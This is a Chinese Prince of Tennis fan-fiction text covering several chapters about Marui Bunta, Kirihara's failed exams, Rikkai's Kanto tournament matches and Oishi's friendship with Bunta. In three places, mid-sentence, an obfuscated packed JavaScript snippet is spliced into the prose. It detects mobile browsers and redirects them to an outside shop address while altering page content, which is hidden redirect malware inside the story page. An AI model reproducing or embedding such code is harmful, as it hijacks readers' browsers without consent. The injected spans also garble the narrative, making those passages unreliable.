“为什么啊!我是做了什么让你有意见的事吗?!” “那倒是没有。只不过……嗯……” 文太把双手插进口袋,难得连口齿伶俐如他都想不出此时能说什么委婉的话,一时陷入欲言又止的窘境。 “学长,你到底在卖什么关子啊?有什么要说的就直说。”切原赤也这急脾气对他的吞吞吐吐是忍不了一点,先是有些气急,后来这人神秘的思考回路不知是通到了哪根筋上,忽然非常怀疑地睨了丸井文太一眼,“学长,你该不会是偷偷把我的零食给吃掉了吧?” “笨蛋,我看是你中午又偷吃我的布丁吧!” 丸井文太立马像被踩到痛脚一样抬高音量,转过头狠狠地瞪了他一眼。 切原赤也免疫挨骂的心理素质极佳,此刻直觉系的本能作祟,竟难得忽视了对方话里的陷阱,蓦然意识到了丸井文太不仅没有否认,而且还试图调转枪口以攻代守。 “啊!”他大叫一声,“所以果然是丸井学长你吃了,太无耻了!” “啧。” 后来丸井文太买了一个双棒的巧克力味雪糕,掰了一半分给切原赤也。因为立海三强下课后都去参加抽签会,杰克也去了老师的办公室借球场的备用钥匙,他们就先坐在网球场外的草坡上等待。 丸井文太叼着雪糕心想:既然是幸村君的托付,那他得趁其他人来球场之前先把赤也搞定才行。这家伙的自尊心还挺麻烦的。 一旦决定了就没有必要犹豫,他毫不拖泥带水地开口:“赤也。” “啊?”正在舔雪糕的海带头投来清澈的视线。 “你啊,是不是这学期的期末考全科都没及格啊?” “啊?咳、咳咳咳——怎么连丸井学长你都知道了?!”切原赤也呛了一下,咳嗽过了一阵,表情变得有些别扭起来,看起来竟还有些羞耻心,知道自己成绩差得丢人。 “哈哈……”丸井文太没忍住笑了两声,伸手揉搓学弟的头发,“是啊,真有你的。” 网球部有史以来第一个期末考全科不及格的正选队员,从前无古人这点就能看出切原赤也这摊事有多离谱。他当初是怎么考进立海的?丸井文太忍不住抽了抽嘴角。 他心想:如此离奇的事竟发生在幸村君管理网球部期间,甚至连累幸村君屡次因为部员的学业问题被对方班主任找去谈话,恐怕是对方部长生涯中最大的挫折了吧。 文太在上法语课的时候都看到对方那副凝重危险的神色了。明明是在盛夏的教室里,空气却寒冷得像要结冰一样,连老师都朝幸村君看了好几次,努力讲了好几个笑话想调动气氛,却始终无法抚平幸村君紧蹙的眉头…… “我知不知道不重要。”他简洁地说,“重要的是,网球部的纪律是部活不能影响学业。所以在通过补考以前,所有的正式赛你都不能出场。赤也,你得好好把这学期的课程重新补习一遍了。” 本来这种事应该由幸村或真田亲自告诉切原赤也,但鉴于开学迎新时他们曾一度把小朋友的心态打崩,自暴自弃地跑去游戏厅闹了好一番别扭,这种情况还是该让专家才尽其用,把劝导和安抚学弟的任务交给最擅长照顾人的丸井文太才最合适。 唔,幸村君的嘱咐他自然不会拒绝啦…… 丸井文太刚把话说完就做好心理准备深吸一口气,在牢牢叼住雪糕的同时双手紧捂耳朵,预判拉满地防住了切原赤也那声惊天动地的绝望呼喊。 “你说什么——???!!!” 文太的肩膀一阵疼痛,被学弟用手指扣住以后用力地晃来晃去,他正想着这小子最近似乎力气见长,指节发球的威胁性应该也增强了,就见对方焦急地把脸凑近过来,大大的湖绿色眼睛里满是惊惶,两人的距离近得鼻尖都快要碰上。 “我没听说过这种事啊!丸井学长,你说的是真的吗?” “嗯,没错。你该好好反省了,赤也。” 丸井文太回视着他的眼睛,难得认真的眼神和语气都在传递着让人冷静下来的情绪。 切原赤也见状忍不住咬了咬下唇,眼底隐约浮现的血色又退了回去。只是当他还想再说什么的时候,却忽然出现一股向后的力道拽着他颈后的衣领,把快要扑在丸井文太身上的他给扯了开来。 “你在干什么,赤也?”真田看向愣住的海带头,缓缓拧起眉头,“你怎么能在光天化日之下冒犯学长?现在罚你立刻绕操场跑20圈!” “欸?” “50圈!” “不、等等啊真田副部长,我没有——” “100圈!” “啊——我现在就去!” 学弟瞬间汗流浃背,落荒而逃。 文太坐直身体,跟真田一同目送切原脚步踉跄地奔去操场,直到确信学弟所在的距离已经足够远到无法听到他们的声音,才扑哧一笑,斜眼看向一派正经的真田。 “光天化日是什么意思啊变态。不过真正的真田现在应该在大教室和幸村君一起参加关东大赛的抽签会,而且他最近更偏好罚赤也做挥拍练习,因为可以全程盯着他的动作是否懈怠。你好像扮演得有些粗心了呢,仁王。” “puri。” 在文太的注视下,真田露出一个本人绝不会有的玩味表情,抬手揭去黑色假发,银白发梢之间的薄绿眼睛移向文太的脸孔。 似乎因为看穿了他的伪装破绽,向来自负天才的队友脸上浮现出一抹洋洋得意的神采。 仁王微微一笑,漫不经心地说:“那岂不是变成惩罚我自己了?还是放生赤也那家伙吧。” “哎呀,真是薄情的学长呢。”文太打趣,然后他在草坪上蹬了一下地,哧溜一下蹿到斜坡上与仁王视线平齐的高处,双腿盘起,慢条斯理地把雪糕吃得干干净净。 “你不忍心了?呵呵,稍微折腾赤也一下他才会没精力抱怨。他再这样下去会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040467|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被留级的吧?那倒是可以比别人多参加一届比赛了。” “这么不体面的参赛方式还是别了……” 立海网球部的队服在很多来参加抽签会的人看来,比他们的学校制服更具辨识度。不多时就有一些过来参观的外校学生留意到切原赤也在烈日下拼命奔跑的身影,不由感慨立海连一年生都如此拼命努力,实在让人不敢懈怠啊。 不得不说,这是一个美丽的误会。 不过在丸井文太看来,他们家的赤也在外还是很拿得出手的。相貌可爱,性格直率,专注努力,网球天赋也得天独厚,就算有些冲动狂妄也瑕不掩瑜,甚至那股天不怕地不怕的干劲可以说非常适合他们立海追求强大的环境。 虽然从未对本人这么夸奖过,怕那小子得意忘形,但这应该是立海内部的共识,大家其实都非常欣赏他的潜力。 日光逐渐西斜,他站在高处遥望着切原赤也独自奔跑的身影,默默地吹出一个泡泡。 赤也不能参赛,文太要说不遗憾是不可能的。对他而言,没有比和并肩作战的队友一起获胜更快乐的事了。虽说他跟替补上位的那位学长关系也不错,但在文太心中,从入学起就吸引了自己目光的切原赤也始终有些特别,他喜欢跟这个学弟亲近,平时也乐于关注和照拂对方。 更何况,既然切原赤也具备比肩正选的实力,他就有踏上赛场追逐胜利的资格。他们这个年纪的少年才正是应该在最渴望证明自己的时候夺得荣光,错过一次都是遗憾。只是这回遇到学业问题也是无可奈何,若是不能趁这次给他一个能刺痛他的强硬教训,害他心存侥幸,等明年切原赤也成为二年级主力的时候万一重蹈覆辙,才会对校队造成更不好的影响。 丸井文太这样想着,缓缓垂下眼睫。 赤也,你迟早要明白,我们永远不会站在原地等你。 他在心中说。 所以,你绝对要追上来。 就在丸井文太回过神时,他忽然注意到了道路对面有陌生人的视线投了过来。 蓝白红配色的运动服,他有些印象,那好像是青学—— 高年级的那位披着外套,脸上戴着圆圆的墨镜,从穿着看起来似乎是过来参加抽签会的部长,而对方身边那位茶发凤眸的清俊少年在他这一届则是相当出名。 ——手冢国光。 丸井文太去年和柳莲二拜访青学时与他有过一面之缘,后来跟大石秀一郎在保龄球馆结识,也时常听见大石以钦佩的口吻提起此人。想到他那种手冢全肯定的态度,丸井文太作为幸村君的忠实信徒倒也不是不能理解。 听幸村君他们评价说,手冢他…… 应该比青学的部长还强吧 根据关东大赛往年的情况来看,编入第一分组的立海通常会与编入第二分组的都大赛亚军在四强赛上对战,今年就是青学了。所以手冢会被排在哪里?单打一?单打二?还是必定出场的单打三? 文太把自己思索的表情藏在被他吹得鼓鼓的泡泡后面。 在即将与对方错身经过的时候,丸井文太下意识将目光移向手冢国光。 双方视线相接的那一瞬间,手冢似乎感到有些意外,而文太也本能地歪过头观察他的表情,紫眸里波光流转,那副自然流露的神态带有一丝灵动的机敏,试图窥探人心的眼睛却显得天真无邪,不会让人感到冒犯。 手冢国光纵然通身气质冷清,看似是个生人莫近的性格,但面对丸井文太不掩好奇的目光,还是礼貌地朝他轻轻颔首。文太惊讶地眨眨眼睛,不过藏在泡泡后面的唇角很快微微挑起,将两指并拢,利落地从眉尾向外划出一道短弧,权作一个简洁的招呼。 不论如何,关东大赛见吧! 60.File 59 关东 周六清晨,东京有明网球森林公园已人声鼎沸。门口聚集着身着各色队服的参赛选手,待队伍全员到齐后,再一同前往中庭向大赛登记处报到。 有趣的是,就像约会时住得远的人反而更不容易迟到一样,为了最大限度地避免行程延误,许多离东京较远的学校往往提前一小时就已全员到齐。时间越晚,守在门口等待队友的选手里,反倒是东京当地学校的队伍占比更高。 凑过耳朵偷听见柳莲二自言自语内容的丸井文太一脸无语:“收集这种数据有意义吗?” 参谋微微一笑:“热身而已。” “哪里热身了啊?” “大脑。”柳莲二轻点自己的额角,“比赛在即,总该让自己的头脑清醒一点。” “哈哈……” 总觉得他话中有话。丸井文太把双手搭在脑后,不动声色地瞥了一眼柳莲二身后的二人,一个是高大的深红色卷毛,一个是矮小的黑色卷毛,体格差距虽大,但那副早上没睡醒的迷糊模样看起来还真是如出一辙。 赤也最近正在努力补习,而且他今天只是过来给大家加油的,丸井文太觉得柳莲二肯定不会忍心责备他啦。至于毛利学长,对方这学期压根就没在网球部出现过,丸井文太甚至怀疑这位鲜少露面的学长已经转学或是成为不登校学生了。 今早集合的时候,除了幸村精市始终带着仿佛无所不知的泰然微笑,其他人都被突然出现的毛利寿三郎吓了一跳,不过由于校队的二、三年生都见识过对方去年在全国大赛中的出彩表现,所以他们很快就冷静下来,立海以强者至上,实绩足以说明一切。 当下的丸井文太有些尴尬,不知该怎么接柳莲二的话才好,因为就算他没有仔细观察,也能感觉到柳莲二话语间对毛利寿三郎的冷淡。 这位学长的日常举止过于散漫,不太契合立海以勤勉为底色的整体氛围。柳莲二可以温柔地包容切原赤也生活中的许多马虎,是因为学弟在网球上付出的努力从不输给任何人,他向来不吝于为追求进步的队员提供帮助,然而毛利寿三郎却连部活都从不参加,这显然使对方在柳莲二心中的评价急剧下滑。 文雅的君子就算表达不满也十分含蓄,而且极有可能……不,应该说,是根本无法传递到以直率闻名的关西人那边吧!脑电波完全对不上啊! 丸井文太闭上眼睛,心中一阵左右为难,最后只好无奈地叹了口气。 太会察言观色也有一点不好,容易徒生烦恼。 此刻队伍前方的幸村精市正被一位记者拦下,立海是关东大赛的最大夺冠热门,从入场开始便一直吸引着周围人们明里暗里的关注。对方大概是想拍到一张他们的照片或者得到他们的获胜宣言,但赛前采访并不是一个好时机,幸村带着歉疚的微笑摇了摇头,真田见状便立刻用客气的言辞请对方赛后再来。 “不好意思,我们现在需要做赛前的热身准备,没有时间。”他不卑不亢地道出一个任何人都挑不出错处的理由。 而在那名被拒绝的记者身后,职业网球月刊的记者井上守则是很有经验地露出一个笑容。他早在立海来到会场时就抓拍到了他们集合的照片,杂志社也在前日向立海网球部提出了正式的采访申请,而且得到了同意的答复。 他相信,自己亲自上门取得的专访才是能吸引到更多读者购买最新一期月刊的热点新闻。 第一分组1号位的立海首战也是位于1号球场,他们的对手是群马的大口南中学,由于与神奈川距离遥远,那是一所他们没有打过练习赛的陌生对手。 不过柳莲二在抽签会以后就做过调查,这所学校历年在关东大赛的登场率并不稳定,从群马县大赛的决赛录影记录来看,他们有两名单打选手实力达到关东级,一组双打的配合还算默契,其他人都只是县级水准,整体实力不足为虑。 不足为虑的结果是,立海首轮比赛派出的第一双打是丸井文太和幸村精市,第二双打是真田弦一郎和仁王雅治,第三单打是柳莲二,第二单打是锦学长,第一单打是毛利学长。 对不熟悉立海的学校而言,这绝对是个毫无死角的强势阵容。单打一和单打二都安排给了三年级的学长,大名鼎鼎的三巨头也分别把守前三关。不过自家人知自家事,他们内部队员一眼就能看出来这安排有多自由奔放。 当下姑且先把听到出赛安排以后周身洋溢着幸福小花的丸井文太放在一边不管,仁王雅治嘴角抽搐半晌,心中对这个神秘的阵容实在百思不得其解,忍不住扭头询问柳莲二:“参谋,我们队员的出场依据到底是什么?” “核心机密,不便透露。”柳莲二微笑回答。 “总觉得很可疑呐。” 仁王若有所思地扭头,看见文太已经快乐地凑到幸村身边,“啪”的一声,他们清脆地击了个掌,然后两张非常养眼的精致脸庞凑近相视一笑。 “好久没打双打了,好期待呀。”幸村活泼地眨眨眼睛,愉快地说。 “嗯嗯!我也是!”文太猛猛点头。 幸村也就算了,丸井你那什么叫嗯嗯你也是?你不是我们队专攻双打的选手吗?仁王忍耐着自己吐槽的欲望,与默默无言的真田对视一眼。人与人的悲欢果然不能相通,他现在是真心有点嫉妒了。 当然了,尽管出场顺序有些离奇,立海首战还是顺利实现了快速通杀。稳中有浪,这可以说是他们队的普遍特色。只要最终的结果是取得胜利,中间的过程大家都可以自由发挥。幸村精市一贯采取这般不拘小节的方针管理他的队伍,队员们也是发自内心地信服和追随着他。 关东大赛已经是整体水准偏高的竞技舞台,参赛者均是各地筛选出的精英队伍。尤其是对于从那些名额稀少的地区出线到关东舞台的学校,进军全国的诱惑已经近在咫尺,很多人能在比赛中打出破釜沉舟的狠劲,因此时常会有大爆冷门的结果出现。 扬长避短,以弱胜强,以有心算无心,巧用后发制人的诀窍,团队赛的趣味便在于这些变幻莫测的惊险之处。在这个阶段,策略与球技同样发挥着极大的作用,反过来说,判断失误的球队一着不慎也有可能满盘皆输。 立海的狡猾之处就在于,他们不仅每名选手的球技都相当强劲,而且校队从地区预赛至今的出场组合也极其多变。哪怕所有学校都将其视作夺冠的最大热门,对手在赛前将他们的录像翻来覆去地研究分析,也很难断定他们会如何安排下一场比赛的阵容。 这简直是策士的末路,不仅无法从战略上对这所学校进行针对,也无法押中自己能与谁比赛,迎战立海的赛前准备永远做不充分,最后只能咬紧牙关与他们硬碰硬,那就落入立海的舒适区了。 眼前高速飞来的网球越过球网,被丸井文太一记干脆利落的反手截击杀向对手脚边的死角。他唇边扬起凌厉笑容,将球拍扛在肩膀,球场上的长风将鲜红发丝吹拂得飘动飞扬,眼神从阴影中显现,流露出神采飞扬的骄横锐气。 作为一名优秀的立海队员,他所具备的技术、观察、判断、指挥、配合、行动、应变和抗压等能力都长期稳定保持在一流水准。丸井文太他善于捕捉对手意识的疏漏,抓住最佳时机发起进攻,冷静却又积极进取,绝不会被情绪冲昏头脑。 看似他时常故意在言谈间展现出盛气凌人的任性姿态,但丸井文太其实时刻关注着赛场的局势变化,能够审时度势,将比赛节奏掌控在手中。他思维灵活,极其擅长随机应变,作风果敢干脆,具备当机立断的决策魄力,心机狡猾,拥有与外表形成鲜明反差的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057194|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老练城府。 任何一场胜利带来的辉煌,都离不开漫长岁月里的沉淀与付出。 在诸多网球强校选手中,立海队员有着一项极其独特的优势。国中部校队能够频繁与高中部、大学部校队进行联合练习,往届学长们都不吝于将自己过往踩过的陷阱分享给现役后辈。 在这所重视传承的学校中,每一届校队选手都曾亲手捧起过关东冠军的奖杯。他们专长不同、球风各异,个性也是大相径庭,却都在实战中积累了丰富的经验。 什么类型的队伍能够用针对性的阵容击破,什么队伍容易绝境逆袭、威胁力强,需要他们牢牢把握住比赛命脉,怎样应对各种情形下的困难局面,如何打落对手的士气,怎么根据不同特色的对手调整策略……这些融入日常训练的队内交流,是外校难以企及的无形资产,甚至可以说连职业教练都无法提供如此深入细致的临战指导,那是一代代立海队员从无数明争暗斗的赛场上积累的切身体悟。 这所学校经年累月传承下来的精神和教育果实,还有他们校队选手自身所具备的出众天赋,以及为将那份才能发挥得淋漓尽致而孜孜不倦付出的努力,共同构成了一支难攻不落的常胜军团,这就是属于名门立海的王牌社团,全国第一的网球部。 会场中庭摆着一个巨大的对阵表,从立海延伸出去的实线一路向前,流畅地以小组头名的身份强势出线,而在另外三个组别中,青学、六角、冰帝也顺利占据其余四强的席位。 关东大赛的首日战就此落下帷幕,结果算是落在各方预料之内,种子队齐聚,均为关东地区声名远扬的传统强校,彼此之间互有研究。许多同龄选手甚至相互熟识,有些成为竞争对手,有些则是跨校的好友。 准决赛和决赛安排在下周举行,同时还将进行败者复活赛,能从关东大赛进军全国大赛的名额共有6个,从第二轮淘汰赛中败北的四校将为四强之外的最后两个出线名额展开争夺。 “先回学校把基础训练做完,然后我们明天进行部内练习赛。” “Yes, sir!” 比赛结束以后,真田弦一郎一丝不苟地吩咐着接下来的安排,得到队员们的响亮回应。 大家收拾好球拍准备返程,丸井文太也背上球包,双手插进兜里,安静地走在队伍后面。 “怎么我又要写观赛感想啊?” 走在前面的切原赤也吵吵嚷嚷地一阵抱怨,“而且居然还有汉字个数的要求!真田副部长,你这分明是在刁难我吧?” “闭嘴,这也是补习的一环,你的汉字写错太多了,正好需要勤加练习,还有不准老是用片假名替换汉字凑字数,我上小学的侄子都不会这么做了。” “副部长你太死板了,这种东西能讲清楚意思就已经很了不起了!而且上次仁王学长还在感想里加了什么piyo啊puri啊之类的片假名凑字数,完全意义不明啊!你怎么都不说说仁王学长?!” “puri,这是夏之管共和国的语言哦。”仁王似笑非笑说。 真田闻言立即说:“听见了没赤也?仁王写的是夏之管共和国的语言,你懂吗?这是正常用法,外来语当然是要用片假名注音!” “呃……”掌握0门语言的学弟哑然半晌,不服气地叫道,“反正那又是欺诈吧?仁王学长一定是在说谎吧!” “piyo,不是说谎哦。” …… 丸井文太慢慢咬着口香糖,青苹果的甜香在齿间萦绕,他听着队友们热闹的交谈,轻轻吹出一个泡泡,脸上不知不觉浮现出浅浅笑意,偏长的碎发拂过昳丽眉眼,在逐渐倾斜的夕光中透出静谧安宁的柔和气息。 就在此时,突然有一个声音从他们后方传来。 “文太?” 61.File 60 误会 和立海相比,青学在第二轮淘汰赛赢得着实有些惊险。 他们的对手是同属东京的山吹中学,从军师乾贞治搜集的资料来看,那所学校的网球部成员较少,整个社团也才十几名球员,正选之中唯有千石清纯的球技较为出彩,其他人都是无名之辈,实力应该不如他们青学的正选队员。 但让众人大吃一惊的是,他们前两盘的双打比赛都输给了山吹,竟使青学直接滑向了淘汰的边缘。 青学观战席的龙崎老师将深沉难辨的视线移向山吹一方,对面一名年老的教练向她回以和蔼的微笑,友善地向她颔首示意,然而,哪怕对方表现得再无害,龙崎老师的心中也只剩凝重。 ——伴爷。 此人在中学网球教练之中可谓声名斐然,不仅对年轻选手有着丰富的指导经验,而且他自身也是个老谋深算得出了名的谋略家,最擅长教导球员用头脑打球。经他调教的选手一个赛一个地难缠,尤其是在重视战术的双打中,提升效果可谓立竿见影。 龙崎老师不由得紧张起来,她原先低估了山吹对青学的威胁,由于山吹在都大赛准决赛中输给冰帝,青学此前并未与其交手,直到今日,她才知晓伴爷竟成为了这所学校的网球部指导。 好在青学也预料到了山吹会派千石清纯出任至关重要的单打三,龙崎老师将信任的目光投向身边已经拿起球拍的手冢国光。 “去挽回局面吧,手冢。”她说。 对方微微点头,然后迈步踏入球场。 山吹的短板在于缺乏强力的单打选手,仅凭千石清纯一人独木难支,因此青学后来还是凭借三场单打夺回了胜利。然而大石秀一郎作为首次踏上关东舞台的新秀队员,在双打中被山吹全面压制的经历仍是在他心头蒙上了一层挫败的阴霾。 此次与大石组成搭档的是青学一名实力出色的三年级学长,而作为他们对手的是南与东方,是山吹的一对年轻的二年级组合。 南与东方跟大石同龄,也是初次进军关东的选手,但那对搭档的配合看似朴实,却远比大石与学长更加默契、精妙,凭借密不透风的攻势打得他们没有还手之力,最后几乎要怀疑人生。 为什么?我们究竟哪里不如他们? 大石走出球场后,以买水为借口来到公园中庭散心,在经过对阵表的时候,他一眼便注意到了立海已经延伸到四强的那根实线,不禁出神许久。 能在那么短时间内确定结果,显然立海的第二轮比赛三战全胜,而且极有可能是压倒性的完胜。 山吹已经难缠至此,那么去年的全国冠军,他们的双打又会有多强呢? 此刻大石秀一郎的脑海中忽然闪过一个身影。 拥有偶像一般闪耀明丽的容颜,性格也友善开朗,最令他印象深刻的是对方那份仿佛与生俱来的亲切感,看似随心所欲,却总能将氛围变得轻松愉快,仿佛能与他心意相通一般接上话题…… 就在大石陷入思绪的时候,一抹鲜艳红色闯入他的视野。 假日的丸井文太会穿自己的常服,他偏好红色系,有时也会穿母亲给他买的衣服,比如很少有男生能驾驭得来的粉色,T恤上印着cake的字样和蛋糕图案,将他的紫眸红发、天生标致的脸孔衬托得更加可爱。 从保龄球馆相识以后,大石后来又与他约过几次打球。丸井文太平时似乎比较忙碌,上学日总要很晚才能出现。穿着西式学生制服的少年比起假日多了几分飒爽的帅气,领带向下滑脱些许,微敞的衬衫领口下是精致纤细的锁骨和颈项线条。他总是很爱笑,眉目之间流转着惹人喜爱的率性。 同龄的保龄球爱好者并不好找,尤其是丸井文太这种上手快、领悟力高,而且性格还爽朗健谈的球友。大石毫无怨言地配合他的时间,于是文太很快就从需要大石指点诀窍的初学者,进步到能与资深者的大石比得势均力敌。大石还注意到他抛球的手法非常精准巧妙,手腕如铁铸一般发力稳定,简直是保龄球界的天才。 又因为丸井文太打完保龄球以后很容易肚子饿,大石便忍不住邀请他一起去自己中意的烤肉店,如此一来更是发觉对方简直是他的人生知己,不仅能将肉汁烤制得恰到好处,对于酱料调味和如何搭配不同种类的肉也是精通无比…… “文太。” 人群中听见自己名字的丸井文太下意识转过脸来,含着泡泡一脸无辜的表情,眼睫轻轻掀起,紫眸中还透着一丝讶异。 跟去年初见的时候一样,他和周围的队友都身着相同样式的立海队服,黄与黑本该是偏向于成熟风格的撞色,但那身稍显宽松的队服穿在他身上,竟也能显出鲜妍明媚的青春色彩。 只是换成一身队服的区别而已,却让置身于队友们中间的丸井文太,周身萦绕着一种与平时不太相似的气场。 依旧随意自在,却又好似多了一丝什么让人感到遥远的氛围,丸井文太的注意力都被身边队友给牢牢地牵系住了,让大石感觉他此刻全身心都属于另一个自己所不熟悉的世界。 对了,这个人还是那个立海的正选。 脱口叫住对方的大石秀一郎在这一瞬才模糊意识到这事实代表了什么,而在他出声以后,他立刻感觉到有复数道目光同时落在自己身上,有淡然,有玩味,有不以为意,也有下意识拧起眉头的审视打量…… 好……好强的压迫感。 大石顿时有些汗流浃背了。 “青学?”年纪最小的最沉不住气,切原赤也眼睛微眯,扫视着大石身上的队服,才开口就透出一股剑拔弩张的危险气息,语气不善地问:“你是谁啊?找丸井学长宣战的吗?” 那气势汹汹的冰冷口吻仿佛在说,但凡大石敢接一句“是”,他立即就能代替学长来干碎你。 “呃、不是,那是误会!”大石慌张地摆了摆手。 听名字的叫法就不像是宣战吧。尽管如此想着,切原赤也身后好几个学长也没有贸然开口,而是等着丸井文太自己应对。 抿起嘴露出临战表情的学弟很快被文太按住脑袋往下压了压,一头卷曲黑发被揉得更加凌乱。 “唷。”文太淡定地抬起另一只空闲的手,跟大石打了个招呼,“青学入选四强,恭喜你啊。” “欸?” 大石顺着文太的视线望向对阵表,工作人员正用油性笔将青学所在的实线向前延长,这证明他们已经胜过了山吹,成功从第二分组中出线了。 而在青学的前方所面临的就是—— 就像能听见大石秀一郎的想法一般,丸井文太的声音含笑,却掺上了一丝坚定强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074133|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬的锐气。 “期待与你准决赛上再会,大石。” 对方压低眉梢,注视着他的双眼,唇边扬起骄傲的立海式微笑。那双清亮紫眸中从无迷茫,展露出来的尽是对自身实力的绝对自信,以及争强好胜的张扬意气。 “我说啊——你什么时候还认识了青学的人?” “嘿嘿,杰克你吃醋了吗?” “喂,别说那么引人误会的话啊!” 大石秀一郎目送着立海一行人离去,看见丸井文太笑容满面地用手肘捅了下他身边那位黝黑肤色的队友,心中忽然感到一阵被冷落的寂寞。 固然他在心中将对方视作知己,但很显然,太受欢迎的人连朋友也是多到应接不暇,自己显然不是距离最近的那一批。 大石忍不住叹了口气,心情低落地转身,险些迎面撞上一双盈满好奇的蓝色猫眼。 “呜哇!英二你怎么在这里?”他吓了一跳,接着又发现同伴身后还有一名笑容柔和的栗发少年,忍不住尴尬地问,“不二?你们都是什么时候过来的?” “我才想问你呢,大石,你在这里呆站什么呢?”菊丸英二眨眨眼睛,打趣地笑道,“我们比赛完该走了,龙崎老师让我和不二出来找你,结果发现你居然一副失恋模样。发生了什么?” “刚才那边的是立海的队伍吧,我们准决赛的对手。”不二周助说,兴许是觉得很少见大石秀一郎露出这样失魂落魄的表情,他看起来也有些好奇,“立海有你认识的人吗?” “别说了。”大石单手捂脸,“我本来后天还约了他的,这下都不知道见面的时候该怎么开口了,好尴尬,不知道请他吃烤肉能不能挽回气氛……” “哇噻,大石你这么大方!居然还请客!这不就真的跟追人一样了吗?”菊丸惊呼一声,没想到自己随口一句调侃竟然炸出这么劲爆的八卦,连忙扯了扯旁边不二的袖子,“而且是‘他’不是‘她’啊。男的?是男的?不二你听见了吗?这可是青学网球部今年度的最大新闻!” 不二周助无奈:“英二,我当然听见了。” 毕竟日语中“他”和“她”的发音区别非常明显。 “什、不是啊!误会!英二你不要乱说!” 大石发现周围有些人似乎开始转头留意他们的谈话,连忙慌张地用力摆手。只是他才想仔细解释,就见同伴兴冲冲地凑近自己,唇尖一抿,露出一张狡诈的猫猫嘴。 “喔——没关系,我懂我懂,我们不会把大石你的秘密说出去的。”菊丸通情达理地拍拍他的肩膀,道出一句大石相当怀疑可信度的保证,然后仗义地拉来不二说,“所以,请我和不二吃饭吧!到时候大石你去约会,我们来当你的参谋!” “嗯?”看戏得正兴起的不二周助露出意外表情,“我也要出谋划策吗?” “对!”菊丸用力点头。 他彻底燃了起来,单手握拳摆在胸前,已经完全听不见大石辩解说不是约会和他这个月零用钱彻底不够用的微弱哀叹。 “到时候要是大石遇到了冷场,我们就装作路人给他创造机会。” 不二:“我也要去现场吗?” 菊丸:“对!” “呵呵。听起来好像很有趣的样子……”不二笑了笑,“那好吧。” 62.File 61 跟踪 烤肉店的门前悬挂了一排红黄相间的木质灯笼,在夕阳沉入地平线后的晚风中轻轻摇晃,极具风情地将光晕洒落在店门前的那条小路上。大都市中难得有这么一片静谧的自在之地,往往是附近住民才知晓的小小桃源乡。 丸井文太脚步轻快地从街尾出现,沿着石板路拾级而下,暖调的光色将他脸上的神情映照得格外柔和。他撩开门上的暖帘,进店后甚至不需要太花心思寻找,就轻车熟路地走到大石秀一郎常在的位置对面坐下。 “久等了,哎呀,今天的山手线真是超级拥挤啊……嗯?怎么了,你好像有点不自在啊。不会是因为前天在关东大赛上遇见的缘故吧?” 丸井文太笑着眨了眨眼睛,他对旁人情绪的感知敏锐得简直吓人,只瞧一眼就察觉出饭搭子好似有些坐立不安,嘴上似乎不经意地调侃了一句,手上拿起菜单勾选菜品。 “哈哈,临近比赛了确实有点紧张……” “别介意,我还蛮期待能跟你打网球的。难得有这个机会,届时就请尽情欣赏我天才般的妙计吧。” 要论表达关心的情商,同龄人中罕有丸井文太那么擅长找出症结并对症下药的人物。关键是他往往还能将好听的话说得轻描淡写,始终泰然自若,让一切对话推进都好似水到渠成。 虽然有将重要的比赛刻意娱乐化的嫌疑,但丸井文太一贯都热衷于展现出游刃有余的姿态,自信满满地从容登场,赛场上笑容锐利的面貌是他坚不可摧的城墙,既能迷惑对手也能鼓舞自己。好心态是好发挥的基础,现在他也是用这样的言辞来活跃气氛,因为网球是他的爱好,品尝美食也是他的爱好,跟沉闷的家伙相处可是会让乐趣大打折扣的。 而且身为名门立海的正选,他从不畏惧与任何对手比赛,甚至可以说,能在对方处于最佳状态时将其击溃,才正合他意。 丸井文太弯起唇角,紫色瞳仁深处流转着盈盈笑意,一丝傲气从他微微压低的眉宇之间飞掠而过,使他神采飞扬的眼神愈加明亮。 “你说的也对,难得遇上立海,我要好好珍惜这次上场的机会。” 大石忍不住舒展眉头,虽然心中依旧残留着双打输给山吹的迷茫和即将面临立海的不安,但在文太坦荡自然的话语中,他忽然感到许多慰藉。 是啊,网球带给他的不应该只有压力,还有能在赛场上竭尽所能、一展身手的刺激和乐趣。能与立海这种层次的队伍在大赛中会面并不容易,与强者交手本来就是一种可遇而不可求的幸运,或许还有人很久都难以和想要一较高下的选手比赛呢。 “嗯,我可不会手下留情哦。”文太说。 “咦,话说立海的出战顺序已经定了吗?” “没错,我是单打一!英雄来战!” “那个……我还没那么好骗……” “嘿嘿,万事皆有可能哦。” 